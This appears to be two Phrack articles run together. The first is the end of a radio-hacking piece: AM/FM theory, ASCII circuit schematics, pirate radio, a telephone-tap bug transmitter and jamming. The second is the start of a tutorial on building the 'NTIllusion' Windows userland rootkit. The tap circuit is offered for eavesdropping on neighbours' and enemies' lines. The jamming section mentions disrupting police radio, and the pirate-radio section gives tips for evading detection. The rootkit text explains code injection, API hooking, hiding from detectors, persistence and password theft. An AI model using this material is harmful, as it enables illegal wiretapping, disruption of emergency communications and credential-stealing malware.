'rectified' by making use of a single germanium low-drop diode.
\\/\/\/\/\
\\ /// // ---------------------|>|----------------- \\ /// //
\\// \\/ \\// \\//
AM radio signal diode Modulating signal
Here, part of the carrier has been removed, resulting in recovery, or
'rectification' of the modulating signal.
Because the carrier frequency (the RF of the radio wave) is usually
significantly greater than the modulating frequency, the RF carrier can be
removed from the resultant modulating signal, using a simple capacitor.
\\ // | |
\\ /// // ----------------| |---------------- \ /\ /
\\// \\// | | \/ \/
Modulating signal capacitor Modulating signal
(with RF carrier) (without RF carrier)
By exposing the rectified signal to a capacitor, the audio signal (or
otherwise data signal) is smoothed, producing a higher quality of audible
output. At this point, the modulating signal is more or less recovered.
Although this technique of AM demodulation can be made to work to a
satisfactory level, the vast majority of commercial radio receivers now
adopt a design known as 'superhet', which I will explain briefly here.
Superhet receivers are based upon the principle of 'mixing' two signals
to produce an intermediate frequency. The diagram illustrates a superhet
receivers operation.
Carrier in ---> Tuned circuit ---> Mixer ---> IF amplifier ---> Detector
(selects correct RF) | |
| |
| |
Local oscillator Audio Amp
|
|
+--+
| |
+--+
\__/
As we can see, superhet demodulation is significantly more complex than
'rectification'. Superhet receiver systems, like the above system diagram,
works basically as follows. First, an RF alternating current becomes
present in the circuit, because of the electromagnetic activity around the
aerial. Signals of the correct radio frequency are selected via a tuned
circuit, and inputted into one input pin of the 'mixer'. In the meantime,
the other input of the mixer is occupied by the 'local oscillator', which
is designed to be oscillating at a frequency just lower than the inputted
radio frequency. The output of the mixer is known as the 'Intermediate
Frequency' (IF), which is the difference between the local oscillator
frequency, and the frequency of the received AM radio signal. Next, the
'IF' is amplified, and passed to an 'envelope detector'. The output of the
envelope detector is the modulating audio signal (an AF -- Audio Frequency),
which is in turn amplified, and outputted to the user via a loudspeaker or
other audio output device.
Since the local oscillator is almost always set to oscillate at a
frequency of approximately 465KHz *below* the frequency of the carrier
input, the output of the mixer will always be a 'carrier' of 465KHz --
which still carries the modulated information. After the signal is
amplified by the IF amplifier(s) (there can be more than one IF amplifier),
the signal is now demodulated by the detector -- which is often just a
single diode. As mentioned above, the modulating signal recovered by the
system can be fed to an amplifier, followed by an audio output device.
As well as producing a higher quality of audio signal, superhet
receivers also eliminate the need to be able to tune multiple tuned
circuits in a TRF (Tuned Radio Receiver). TRF designs become awkward
when it comes to tuning them into different radio frequencies because
of the many tuned circuits needed -- superhets overcome this problem
as they always 'know' what the collector load will be -- a 465KHz signal.
Superhet designs can also be adapted to work with FM radio signals, assuming
the 'detector' is changed to a suitable detector for FM signals (i.e phase detector).
----[ 2.4 - Circuits
Since radio technology is a frequently discussed topic across the
Internet, many radio circuit design implementations are readily available,
ranging from very simple circuits, to quite complex ones. Here I present
some radio related circuits which most people with a bit of electronics
knowledge and the right components can build.
------[ 2.4.1 - Receivers
Discussed above was the historic 'crystal set' radio receiver, which
allows anyone with a long enough aerial wire and a few components to
listen to AM radio bands. Below is the basic crystal set radio
receiver circuit, which is very easy to construct.
Aerial Wire D1 *
| Q1
| ____|>|__________________
|_____________|/ | |
| |\ | |
_______|_____ | | |
( | | | |
( L1 --- C1 * | C2 --- 0 high impedance
( --- | --- 0 headphones
( | | | |
(_____________| | | |
| | | |
|_______________^____________|__________|
| | (not joined)
|_______________|
|
GND
- C1 should be a variable capacitor to allow the station to tune into
other frequency bands.
- D1 should be a low-drop germanium diode -- non-germanium diodes
won't work.
From previous discussion, we can figure out that the above 'crystal
set' AM radio receiver works as follows; incoming radio waves generate a
tiny alternating current in the aerial wire, from which 'wanted' radio
frequencies are selected, by the tuned LC circuit. Selected current passes
through a diode, which 'rectifies' the signals, thus demodulating them.
Before the diode, there is a simple transistor, which amplifies the
'wanted' frequency. The only reason for this is to make the quality of
sound slightly better. Any remaining RF components are removed using a
single capacitor -- this consequently has the effect of smoothing out the
signal. The product audio signal is passed to a set of headphones -- these
*must* be high-impedance, or nothing audible sounds on the headphones.
As was noted earlier, this type of receiver was used frequently in the
1920s, and gave even newbie electronic enthusiasts of that time the
opportunity to build something that would be considered very useful at that
time. To make decent use of the 'crystal set' circuit, around 60-70 turns
of wire around a rod of ferrious metal would create a good aerial.
Designs like above are never used in commercial radio receivers anymore.
Excluding superhet receivers, TRFs are occasionally used to produce low
quality radio receivers. Below is a simple TRF receiver schematic.
Aerial
| C5* C6 +9V
| ________________________________________
| | | | ) |
| | --- --- ) LC2 |-|
| | --- --- ) __| |
| | |____|_______) | |_|
| | | | | C8
--- C1 | | D1 C7 | |___| |____0
--- _|_ Q1_____________|>|________| |_|_|/ | | 0
LC1 | R1 | | / | | | |\ Q2
_________|__ |_| __|/ | | High impedance
| ) | | |\_____ | | headphones
| ) | | | | |
| ) | | | | |
--- C2 * )___| |__|_ | | |
--- ) | | | | | |
| ) C3 | | | |
|___________) | | C4 | |
| |_____ | |
| | | R4 |-| R6 |-|
R2 |-| R3 |-| --- | | | |
| | | | --- |_| |_|
|_| |_| | | |
____|______|____|_________ |___________|
0V
- C2 should be a variable capacitor
- C5 and C6 should be variable capacitors
- Resistors of sensible values should suffice
- Capacitors of sensible values should suffice
As in the 'crystal set' receiver, when a radio signal is 'picked up'
by the aerial, the proper frequency is selected using the LC tuned
circuit. The signal is passed to a transistor amplifier. However,
this time, the transistor amplifier has a 'tuned collector load',
because of the tuned LC circuit (LC2) at the collector leg of the
transistor. Next, the signal is rectified, stored in a few capacitors
until enough current has collected, and is eventually fed to the user
with the high impedance headphones. The use of the tuned collector
load at the transistor causes for the receiver to be more precise,
amplifying only the signals which are at the frequency of LC2's
resonant frequency. As expected, this causes for a higher quality of
audio signal to be fed into the users headphones, making this a much
better radio receiver.
A few things can be done to improve the above receiver, such as adding
yet more tuned amplifiers, and perhaps adding a few more resistors and
capacitors for safety and efficiency purposes.
------[ 2.4.2 - Transmitters
All that we really need to do when designing a simple radio transmitter
is keep in mind that we require an oscillator -- either tuned or crystal
controlled -- and a series of amplifier circuits which boost our signal.
After these stages, all that is left is to make the signals oscillate in
the aerial wire.
Below is a simple radio transmitter schematic.
Aerial
|
|
___________________________________________________________________|
| | | | | |
| | | | | |
| L1 ) | | | L3 |
| ) R3 |-| C3 | |__ )
|-| R1 Crystal ) | | --- | | )
| |_________|_____________) |_| --- | | C5)
|_| ||| | | | | --- )
| |_______| |_______|_AM ___|_______|/ --- |
| / | | Modulator |\___|___|
|__________| |________|/ C2 Q2 | |
| | | |\ Q1 (PNP) | )
| C1 | --- )
| |-| C4 --- )
M | | R4 | L2 )
| |_| | |
| | | |
| | | |
|_______________________|______________________________________|____|
- TR2 is a PNP transistor
- M is a microphone
This circuit works by oscillating at the frequency controlled by the
crystal (27MHz would be legal in the UK), amplifying the signal with tuned
collector loads at the transistor (TR1), and then by radiating the signal
off as radio waves by oscillating the signal in the aerial wire. Amplitude
modulation is added to the signal by varying the gain of the transistor
driver, by connecting it to the output of a microphone. The above circuit
is quite inefficient, and is likely to produce low quality signals, but it
can be used as a starting point to building a simple AM radio transmitter.
It's probably illegal to operate the above circuit on frequencies requiring
a license, so some countries *require* the circuit to be crystal controlled
on a 'model radio' RF. One improvement to be made on the schematic is to
amplify the output of the microphone before feeding it to the transistor
driver.
Possible devices which could apply the AM modulation are audio
amplifiers, or even op-amps. An audio amp following the oscillator
would produce a higher quality, stronger signal, but would also provide
power gain (i.e amplitude gain), in sympathy with the audio signal produced
by the microphone. This gain of amplitude due to the audio amp has
essentially applied Amplitude Modulation of the carrier signal,
because the power of the signal has been altered according to the
inputted audio signal (at the microphone). An ordinary op-amp could
be used in a similar way, but by substituting the non-inverting input
pin with a suitable power supply. Essentially, this would cause for
an outputted gain from the op-amp, according to the audio signal,
because the two inputs to the op-amp are compared, as such.
--[ 3 - FM Radio
----[ 3.1 - What is FM radio?
FM radio just means any form of technology which makes use of radio
with FM modulated signals. To modulate a radio wave's carrier with
information, FM transmitters shift the frequency of the carrier very
slightly, to be in sympathy with a modulating signal.
----[ 3.2 - Modulation
FM modulation consists of little more than shifting a radio wave's
carrier frequency very slightly in sympathy with a modulating signal's
frequency.
Modulation of an example audio signal is shown in the figures below.
||\\ ///\ //\\
|| \\ // \\ // \\ ---> \ /\ / ---> ||\\ /\\ //
|| \\\/ \\\/ \\ \/ \/ ||\\ //\\ //
||\\// \\//
RF Carrier Modulating signal FM signal
The diagrams show that when the frequency of the modulating signal
increases, so does the given carrier frequency, and the opposite when
the modulating signal's frequency decreases. This is shown in the FM
signal diagram by the bands being spaced widely apart when the modulating
signal frequency is increasing, and more closely together when the
modulating signal's frequency is decreasing.
----[ 3.3 - Demodulation
When an FM modulated carrier signal is detected by the receiver's
aerial wire, in order to recover the modulating signal, the FM modulation
must be reversed.
Most modern FM radio receivers use a circuit called the 'phase-locked
loop', which is able to recover FM modulated radio signals by use of a VCO
(Voltage Controlled Oscillator), and a 'phase detector'. Below is the
system diagram of a PLL suitable for use in FM radio receivers.
FM signal in -------------> Phase ---------------
Detector |
| |
| |
| |
| |
VCO |
|__________________|
|
|
|
|
|
Modulating signal
out
The above PLL is able to recover the modulating signal by having one
input to a phase detector as the modulated carrier, and the other input as
a VCO oscillating at the frequency of the RF carrier. The phase detector
'compares' the two frequencies, and outputs a low-power voltage relative to
the difference between the two 'phases', or frequencies. In essence, the
outputted voltage will be relative to the frequency by which the carrier's
frequency was shifted during modulation by the transmitter. Therefore, the
output of the PLL, known as the 'phase error', is the recovered modulating
signal. In addition to being outputted from the small system, the voltage
is also given to the VCO as 'feedback', which it uses to 'track' the
modulation. Acting upon the feedback received, the frequency of
oscillation is altered accordingly, and the process is repeated as
necessary.
In the past, less efficient and reliable circuits were used to
demodulate FM radio signals, such as the 'ratio detector'. Although the
'ratio detector' is less sophisticated than PLL methods, a functioning
ratio detector circuit is actually a little more complex than PLLs.
It should be noted that superhet receivers, touched upon a little
earlier, can also be used as FM radio receivers, but their 'detectors' are
different to that of an AM superhet -- for example, a PLL circuit or ratio
detector discussed here could be used in conjunction with a superhet
receiver to make an FM radio. This is the method which is actually adopted
by most commercial radio receiver manufacturers.
----[ 3.4 - Circuits
------[ 3.4.1 - Transmitters
The same general principles apply to FM radio transmitters as they do
to AM radio transmitters, except that information must be modulated in a
different way. In AM radio transmitters, the carrier frequency is more or
less always constant. However, in FM transmitters, the whole principle is
to alter the carrier frequency in small amounts. This means that a tuned
oscillator circuit is not appropriate, because we need to alter the
frequency accordingly, not transmit at one static frequency. The method
used to overcome this problem is discussed a little later. A simple FM
transmitter schematic diagram is presented below.
Aerial
|
|
|
____________________________________________________________________|
| | | | | |
| | | | | )
| ) |-| --- C3 | )
| R1 L1 ) R3 | | --- |_ C4 )
|-| ) |_| | | | )
| | ) | | | --- |
|_| | Crystal | C2 | | | --- | L2
|_______________|||_____________|___________| |___|____|____|/ | |
| / | | |\___|___|
|____________| |_____________|/ |
| | | |\ Q1 Q2 |
| | |
| C1 | |
M |-| |
| | | R2 |
| |_| |
| | |
|______________________________|_____________________________________|
When audio signals are produced by the microphone, current carrying
audio frequencies are amlified, and are used to modulate the radio
wave. Since the microphone does this all for us, there is no need to
use modulation modules, ICs, or other technology. In situations where
an elecret microphone is not available to do the modulation for us, a
varactor diode can be used to vary the capacitance in an oscillator
circuit, depending on the amplitude of a modulating signal. This
varies the oscillation frequency of the oscillator circuit, thus
producing FM modulation.
--[ 4 - Misc
----[ 4.1 - Pirate Radio
Pirate Radio stations are simply just radio stations ran by
individuals who are not licensed amateur radio enthusiasts. Although
radio is actually a natural resource, it has been illegal for a
significant amount of time in some countries to transmit radio waves
on certain frequencies. Although transmitting radio signals on
certain frequencies (around 27MHz) is legal in places like the UK,
strict FCC regulations kick in, almost limiting the threshold to
useless. Because of this limitation, radio enthusiasts all around the
globe see fit to set up pirate radio stations, which they use for
their enjoyment, playing their favourite music tracks to the 'public',
and for a breeding ground for aspiring DJs. Some 'pirate radio'
stations keep within the FCC terms, by transmitting at low-power.
These types of stations are often referred to as 'free radio', or
'micropower stations'.
The legality of pirate radio stations is questionable, but varies from
country to country. In some European Countries, you can be arrested
for just owning an unregistered transmitter. In Ireland, prosecution
rarely takes place if registered radio stations are not affected, but
it is still illegal. The US allows transmission of radio signals at
*microscopic* power, making the limitations almost useless for
unlicensed radio enthusiasts, thus causing them to resort to pirate
radio.
Contrary to popular belief, setting up a pirate radio station is not
necessarily a difficult task. At the minimum, someone wanting to
setup a pirate radio station would need the following pieces of
equipment:
- Stereos, CD Players, Microphones, etc.
- Audio Amp
- Audio Mixer
- Transmitter
- Aerial
Stations using only the above equipment can sometimes sound quite
crude, and might interfere with other legal radio stations. To avoid
this, a 'compressor' can be used, which also limits the noise created
by sudden loud noises in the background.
Although any of the example transmitters in this article probably
wouldn't be sufficient enough to transmit music audio signals over the
air, but they could be used as a starting point to building your own, more
efficient kit. Additionally, FM and AM radio kits can be purchased,
which anyone with a soldering iron can build.
The length and height of the antenna depends entirely on how far the
radio signals need to be transmitted. By reading the previous
sections, some information on getting a correctly sized aerial can be
gained. For example, a quick and dirty aerial for an AM pirate radio
station could be around 15-20 feet tall.
To avoid being busted, it is probably a good idea to stay within the
legal power limits. Otherwise, a Direction Finding device used by the
authorities could easily track down the exact location of the
transmitter.
----[ 4.2 - Wireless Telephone Tapping
'Beige boxing' has long been the easiest and most exploited way to tap
telephones, interrupt on neighbours conversations, and use enemies
phone lines to make long distance calls to your friend in Australia.
However, since beige boxing requires the phreak to lurk around like a
ninja, a safer method can be used, which doesn't require you to be
physically close to the target phone line.
As expected, audio signals on a target phone line can be transmitted as
radio signals at an arbitrary frequency, and be received by any phreak with
an FM radio receiver. Although this concept is not new, it serves as an
interesting and useful project for radio newbies to try out. Below is a
simple FM phone bug transmitter circuit.
__________________________________________________________
| | |
| | |
IN (green) ___.___|_______ |-| |
| | | | | |
| /\ LED | |_| |
| --- | | |___| | op-amp |
| | C1 | | | | |---|\ |
| | |__________|/ ____| >------- Aerial |
IN (red) _____|___| |\ _____|___|/ |
| | | | | |
| | | | | |
OUT (green) __| | ( | | |
/\ ( | /\ varactor |
--- ( | --- |
| ( | | |
OUT (red) ________|____________________|_____|___|__________________________|
- inductor should be about 8 turns of wire
- aerial should be about 5 inch long
By interchanging the varator with a crystal, or by using a variable
capacitor, the frequency band on which the bug transmits line activity
could be changed accordingly. The varactor making up part of the
oscillator circuit is intended to alter the frequency of oscillation,
depending on the audio signal inputted from the green wire of the
telephone line. The varactor diode can be thought of as an
electrically variable capacitor, which in this case alters its
capacitance in sympathy with the audio frequency on the telephone
line -- causing for change of oscillation frequency, and thus
frequency modulation.
The following op-amp provides additional strength to the
signal, in an attempt to avoid a weak, unreliable signal. For
user-friendly purposes, the LED connecting to the red wire of the line
pair should illuminate when a signal is present on the line.
The above circuit can be modified to be made more efficient, and a
longer aerial is an obvious way of lengthening the range of
transmission. If a phreak was to contruct and use a device like this,
all they would need is an FM radio to tune into the correct
frequency. There are much better designs than the minimalistic one
above -- if a practical FM telephone bug is required, many plans are
available.
----[ 4.3 - Jamming
Technically, all it takes to carry out 'radio jamming' is to transmit
noise at a desired frequency. For example, if a person in the UK were
to transmit RF noise at 30MHz+, police radio communications could
possibly disrupted. Although the principles are mostly the same,
there are several different types of jamming.
- modulated jamming
This consists of mixing different types of modulation, and
transmitting the results at a desired radio frequency. This is
designed to make receiving legimate radio signals hard or next to
impossible.
- CW (continuous wave)
CW jamming only involves transmitting a consistant carrier frequency
once tuned into a RF frequency/band you want to jam. This again makes
receiving desired radio signals particuarly hard.
- Broadband
Broadband jammers spread Gaussian noise across a whole band of audio
frequencies, blocking legimate audio signals from easy receival.
A basic radio transmitter is easily modifiable, by adding a noise
generator, to successfully jam arbitrary frequency bands. Many other
types of radio jammers exist, and their details are readily available
on the World Wide Web.
--[ 5 - Conclusion
Radio is an extremely useful technology, which is at least as old as
the atom. But we are only just beginning to exploit its full
usefullness in even new and up and coming technology, and probably
will do for the next few hundred years.
As we've discovered, contrary to popular belief, employing the use of
radio in electronic circuits isn't at all as complicated as one would
think. Because of this, the use of radio and be both used and
exploitfully abused -- only a few basic principles need to be
understood to make use of this wonderful technology. Although the
surface has only been scratched, and way forward is open.
--[ 6 - Bibliography
Phrack 60
Low Cost and Portable GPS Jammer
<http://www.phrack.org/phrack/60/p60-0x0d.txt>
The Art of Electronics
<http://www.artofelectronics.com>
Updates to the article:
http://nettwerked.co.uk/papers/radio.txt
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x0c of 0x10
|=---------=[ NTIllusion: A portable Win32 userland rootkit ]=--------=|
|=----------------------------------------------------------------------=|
|=------------------=[ Kdm <Kodmaker@syshell.org> ]=------------------=|
This paper describes how to build a windows user land rootkit. The first
part deal with the basis and describe a few methods to show how code
injection and code interception are possible, while the rest of the paper
covers the strategy that makes stealth possible in userland. A bigger
version of the paper is also available at [1] so that novice peoples can
refer to a preliminary article about injection and interception basics.
Table of contents
1. Introduction
2. Code Injection and interception
2.1. System Hooks
2.2. CreateRemoteThread
2.3. Manipulating thread's context
2.4. Redirecting the Import Address Table
2.5. Inserting an unconditional jump (jmp)
3. User land take over
3.1. User land vs Kernel land rootkits
3.2. Restrictions...
3.3. ...and constraints
3.4. Setting a global hook to take over userland
3.5. Local application take over
4. Replacement functions
4.1. Process hiding
4.2. File hiding
4.3. Registry
4.4. Netstat like tools.
4.4.1. The case of windows 2000
4.4.1.1. Hooking GetTcpTable
4.4.1.2. Defeating netstat
4.4.1.2. Defeating Fport
4.4.2. The case of windows XP
4.5. Global TCP backdoor / password grabber
4.6. Privilege escalation
4.7. Module stealth
5. Ending
5.1. Conclusion
5.2. Greets
6. References
-------[ 1. Introduction
A rootkit is a program designed to control the behavior of a given
machine. This is often used to hide the illegitimate presence of a
backdoor and others such tools. It acts by denying the listing of certain
elements when requested by the user, affecting thereby the confidence that
the machine has not been compromised.
There are different kinds of rootkits. Some act at the very bases of the
operating system by sitting in kernel land, under the privileged ring 0
mode. Some others run under lower privileges in ring 3 and are called user
land rootkits, as they target directly the user's applications instead of
the system itself. These ring 3 rootkits have encountered a recrudescence
the last years since it is somewhat more portable and polyvalent than ring
0 ones.
As there are multiple ways to stay unseen under windows, this article
performs a windows rootkitting tutorial based on a strong implementation
called the [NTillusion rootkit] which fits maximum constraints.
This rootkit has been designed to be able to run under the lowest
privileges for a given account under windows. Indeed, it doesn't use any
administrative privilege to be able to perform its stealth as it resides
directly inside processes that are owned by the current user. In a word,
all the ring 3 programs that a user might use to enumerate files,
processes, registry keys, and used ports are closely controlled so they
won't reveal unwanted things. Meanwhile, the rootkit silently waits for
passwords, allowing the load of any device driver as soon as an
administrator password is caught.
How does this works?
All this stuff is done in two steps. First, by injecting the rootkit's
code inside each application owned by the current user and finally, by
replacing strategic functions by provided ones. Theses tricks are
performed at run time against a running process rather than on hard disk
on binaries since it allows to work around the windows file protection,
antiviral and checksum tools as well. The rootkit has been tested
successfully under windows 2000/XP, but may also run on older NTs. It's
architecture allows it to be ported to windows 9x/Me but some functions
are missing (VirtualAllocEx) or behave abnormally (CreateRemoteThread) on
this version of the OS.
This introduction would not have been achieved without comments about the
different sections of the paper that present each special characteristics.
Section 3 deals about user land take over. This mechanism has already been
presented by Holy_Father in [HIDINGEN]. However it is here done in a
different way. In fact, the rootkit acts globally a level higher so things
are changed and it results in a somewhat simpler but efficient spreading
method. And contrary to Hacker Defender ([HKDEF_RTK]), NTillusion does not
need the administrative privilege. So the approach I propose is different.
This approach is also different when speaking about the way functions are
chosen and replaced.
This is the case with section 4 which introduces an uncommon way to
replace original functions. On one hand, the functions are most of the time
replaced at kernel level. So, I hope this paper shows that performing a
good stealth is possible also in userland. On the other hand when thinking
about API replacement, people try to dig as much as possible in order to
hook at the lowest level. This is sometimes a good thing, sometimes not.
This is especially true with portability, which suffers from this run to
low level. NTillusion replaces top level APIs as often as possible.
As windows designers want programs that rely on the documented API to be
portable from one windows version to another, and as the rootkit hijacks
critical functions among this documented API, portability is accrued.
Thereby there's no need to perform OS version check and it results in a
more universal rootkit. Added to that, this section offers a new way for
privilege escalation by showing how hooking the POP3/FTP traffic is
possible in order to get login and passwords.
This is not the only new thing: section 4.7 offers a new way to hide a DLL
loaded inside a given process. Usually, this would have been done by
hooking modules enumeration APIs inside the memory space of each process
able to reveal the rootkit. However I show how this is possible to do this
by dealing directly with undocumented structures pointed by the Process
Environment Block. Once this has been done, there's not need to worry
about subsequent detection. To test this method I downloaded a rootkit
detector, [VICE], and scaned my system. With no rootkit loaded, VICE
produced most of the time some false positive for standart DLLs (kernel32/
ntdll/...). Once the rootkit was loaded and using this technique, there
was no noticable change and VICE was still accusing some system DLLs to be
rootkits as before but there was no record about kNTIllusion.dll that was
however doing the job efficiently.
-------[ 2. Code Injection and interception
The goal of this section is to allow a process to replace the functions
of another. This involves getting control of the target process, then
to replace parts of it's memory carefully. Let's begin with code injection.
So altering the behavior of a process requires to break into it's memory
space in order to execute some code to do the job. Fortunately, windows
perfors checks to prevent an application to read or write memory of an
other application without its permission. Nevertheless the windows
programmers included several ways to bypass the native inter-process
protection so patching other processes' memory at runtime is a true
possibility. The first step in accessing a running process is done trough
the OpenProcess API. If the application possesses the correct security
permissions, the function returns a handle to deal with the process, in
the other case, it denies access. By triggering a proper privilege, a user
may get access to a privilegded process as we'll see later. In Windows NT,
a privilege is some sort of flag granted to a user that allows the user to
override what would normally be a restriction to some part of the
operating system. This is the bright side. But unfortunately there is
also a seamy side. In fact there's multiple ways to break into the memory
space of a running process and running hostile code in it, by using
documented functions of the windows API. The following methods have
already been covered in the past so I will only give an overview.
-------[ 2.1. System Hooks
The most known technique uses the SetWindowsHookEx function which sets a
hook in the message event handler of a given application. When used as a
system hook, i.e. when the hook is set for the whole userland, by relying
on a code located in a dll, the operating system injects the dll into each
running process matching the hook type. For example, if a WH_KEYBOARD hook
is used and a key is pressed under notepad, the system will map the hook's
dll inside notepad.exe memory space. Easy as ABC... For more information
on the topic, see [HOOKS] and [MSDN_HOOKS]. Hooks are most of the time
used for developping pacthes or automating user manipulations but the
following method is from far more eloquent.
-------[ 2.2. CreateRemoteThread
Another gift for windows coders is the CreateRemoteThread API. As its name
points out, it allows the creation of a thread inside the memory space of
a target process. This is explained by Robert Kuster in [3WAYS].
When targeting a process running in a more privileged context, a rootkit
may acquire God Power by activating the SeDebugPrivilege. For more
information see the rootkit code. [NTillusion rootkit]
Although this method seems interesting, it is from far widespread and easy
to defeat using a security driver. See also [REMOTETH] for other info.
More over, any injected DLL with this method will be easily noticed by
any program performing basic module enumeration. Section 4.7 offers a
solution to this problem, while the following section presents a less
known way to run code inside a target process.
-------[ 2.3. Manipulating thread's context
CreateRemoteThread isn't the only debugging API that may be used to
execute code into a target process. The principle of the following
technique is to reroute a program's execution flow to malicious code
injected in the program's memory space. This involves three steps.
First, the injector chooses a thread of this process and suspends it.
Then, it injects the code to be executed in the target process memory as
before, using VirtualAllocEx/WriteProcessMemory, and changes a few
addresses due to changes in memory position. Next, it sets the address of
the next instruction to be executed for this thread (eip register) to
point to the injected code and restarts the thread. The injected code is
then executed in the remote process. Finally it arranges for a jump to the
next instruction that should have been executed if the program had
followed its normal course, in order to resume its activity as soon as
possible. The idea of manipulating the thread's context is exposed in
[LSD]. Other methods also exist to trigger the load of a given DLL inside
the memory space of a target process.
By design, the HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\Current
Version\Windows\AppInit_DLLs key gathers the DLL to be loaded by the
system inside each process relying on user32.dll. Added to that come the
BHO, standing for browser help objects, that act as plugins for web-
browsers, enabling the load of any sort of code.
But just taking over a process is not enough...
Once the target process' memory space is under control, it's possible
to replace its own functions by provided ones.
Code interception routines are critical since they had to meet efficiency
and speed requirements. The methods presented in this section have their
own advantages and drawbacks. As for the injection techniques, there's
more than one way to do the job. The goal of the methods is to redirect
another program's function when it is loaded in memory. For the target
program, everything takes place as if it had called the desired functions
as usual. But in fact the call is redirected to the replacement API.
Some methods of API interception are based on features intentionally
provided by the designers of the PE format to simplify the loader's task
when a module is mapped into memory. The function redirection takes place
once the code we inject into the target process is executed. To understand
how these methods work, a thorough understanding of the PE format is
needed; see [PE] and hang on with courage, the following methods are
useful.
-------[ 2.4. Redirecting the Import Address Table
After injecting our code into the application's memory space, it is
possible to change its behavior. We use a technique called "API hooking"
which involves replacing the API by our own routines. The most common way
to do this is to alter the import address table of a given module.
When a program is executed, its various zones are mapped into memory, and
the addresses of the functions it calls are updated according to the
windows version and service pack. The PE format provides a clever solution
to do this update, without patching every single call. When you compile
your program, each call to an external API is not directly pointing to the
function's entry point in memory. It is using a jump involving a dword
pointer, whose address is among a table called the Import Address Table
(IAT), since it contains the address of each imported function. At load
time, the loader just needs to patch each entry of the IAT to modify the
target of each call for all API.
Thus, to hijack, we simply patch the IAT to make the memory point to our
code instead of the true entry point of the target API. In this way, we
have total control over the application, and any subsequent calls to that
function are redirected. This general idea of the technique which is
detailed more in [IVANOV] and [UNLEASHED]. But hooking at IAT level is
from far a non secure way. Undirect Call may be missed. To prevent this,
there's only one solution... inserting an unconditional jump!
-------[ 2.5. Inserting an unconditional jump (jmp)
This technique involves modifying the machine code of a given API so that
it executes an unconditional jump to a replacement function. Thus any call
direct or indirect to the hooked API will inevitably be redirected to
the new function. This is the type of function redirection used by the
Microsoft Detours Library [DETOURS]. In theory, redirection by inserting
of an unconditional jump is simple: you simply locate the entry point of
the API to be hijacked an insert an unconditional jump to the new
function. This technique make us lose the ability to call the original
API, however; there are two ways to work around that inconvenience.
The first is the method used in the famous hxdef rootkit, or Hacker
Defender which is now open source [HKDEF_RTK]. The idea is to insert an
unconditional jump while saving the overwritten instruction in a buffer
zone. When the original API must be called, the redirection engine
restores the real API, calls it, then repositions the hook. The problem
with this technique is that it is possible to lose the hook. If things go
wrong, there is a chance that the hook will not be restored when exiting
the API. An even bigger risk is that another thread of the application may
access the API between the time it is restored and the time when the hook
is repositioned. Thus, as its creator Holy_Father knows, there is a chance
that some calls may be lost when using this method.
However, there is another solution for calling the original API. It
involves creating a buffer containing the original version of the API's
modified memory zone, followed by a jump to and address located 5 bytes
after the start of the zone. This jump allows to continue the execution of
the original function just after the unconditional jump that performs the
redirection to the replacement function. It seems simple?
No, it isn't. One detail that I voluntarily left out until now: the
problem of disassembling instructions. In machine code, instructions have
a variable length. How can we write an unconditional five-byte jump while
being sure not to damage the target code ("cutting an instruction in
half")? The answer is simple: in most cases we just use a basic
disassembly engine. It allows to recover as many complete instructions as
required to reach the size of five bytes, i.e. the area just big enough
the insert the unconditional jump. The useful redirection engine used in
the rootkit is the one created by Z0MbiE (see [ZOMBIE2]).
This hooking method, somewhat particular has been covered by Holy_Father.
Refer to [HKDEF] if you are interested.
Hum, That's all folks about prerequisite. Now we're going to consider how
to build a win32 rootkit using these techniques. Le'ts play!
-------[ 3. User land take over
-------[ 3.1 User land vs Kernel land rootkits
Most of the time, to achieve their aim kernel land rootkits simply replace
the native API with some of their own by overwriting entries in the
Service Descriptor Table (SDT). Against a normal windows system, they
don't have to worry about persistence as once the hook is set, it will
hijack all subsequent calls for all processes. This isn't the case for
win32 ring 3 rootkits, acting at user level. In fact, the hook isn't
global as for kernel ones, and the rootkit must run its code inside each
process able to reveal its presence.
Some decide to hook all processes running on the machine including those
of the SYSTEM groups. It requires advanced injection techniques, hooking
methods and to target API at very low level.
Let me explain. Consider we want some directories not to be noticed when
browsing the hard drive using explorer. A quick look at explorer.exe's
Import Table reveals that it is using FindFirstFileA/W and FindNextFileA/W
So we may hook these functions. At first it seems tedious to hook all
these functions rather than going a level under. Yeah, these functions
rely on the native API ntdll.ZwQueryDirectoryFile, it would be easier to
hook this one instead. This is true for a given version of windows. But
this isn't ideal for compatibility. The more low level the functions are,
the more they're subject to change. Added to that, it is sometimes
undocumented. So on the one hand, there's hijacking at low level, more
accurate but somewhat hazardous, and on the other hand, hijacking at high
level, less accurate, but from far simpler to set up.
NTillusion hijacks API at high level since I never designed it to reside
into system processes. Each choice has a bright side and a seamy side.
The following points describe the restrictions I wanted the rootkit to fit
and the constraints windows imposes to processes.
-------[ 3.2 Restrictions...
The rootkit is made to be able to perform its stealth for the current user
on the local machine. This is especially designed for cases where
administrator level is unreachable for some reason. This shows that
getting root is sometimes not necessary to be lurking. It represents a
true threat in this case, since windows users have the bad habit to set
their maximum privilege on their account instead of triggering it using
runas to become admin only when needed. So, if the user is not currently
admin, he probably isn't at all, so a user land rootkit will perfectly do
the job. Otherwise, it's time to go kernel mode.
Thus, the rootkit is designed to only require privileges of the current
user to become unseen to its eyes, whether this is an admin or not. Then
it starts waiting for passwords collected by users using the runas method,
allowing privilege escalation. It may also spy web traffic to dynamically
grab pop3/ftp passwords on the fly. This is possible but a little bit too
vicious...
-------[ 3.3 ...and constraints
As you should now know, windows maintains a native inter-process
protection so a process won't access another if this one doesn't belong to
its group or does not present the administrator nor debug privilege. So
the rootkit will be restrained to affect processes of the current user.
Contrariwise, if it got admin privilege, it may add itself to the
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run key and
hide its presence, being then active for all users on the machine.
Due to the rootkit architecture, privileged processes will be able to see
the system as it really is. So remote administration may reveal the
rootkit, as much as FTP or HTTP servers running as services. The solution
of this problem is to affect also system processes but the task is
somewhat desperate and too considerable to just play the game of cat and
mouse.
-------[ 3.4 Setting a global hook to take over userland
To be efficient, the rootkit must run under all visible applications that
may reveal unwanted presence. Performing an injection try for each running
process when the rootkit loads is not a good idea since it won't affect
processes that would be run later. A perfect way to achieve this is to set
a system wide hook, using SetWindowsHookEx for WH_CBT events. Therefore,
the rootkit's dll will be injected into all running graphical processes,
as soon, as they appear on screen. Unfortunately, the WH_CBT concerns only
processes using user32.dll, therefore it won't affect some console
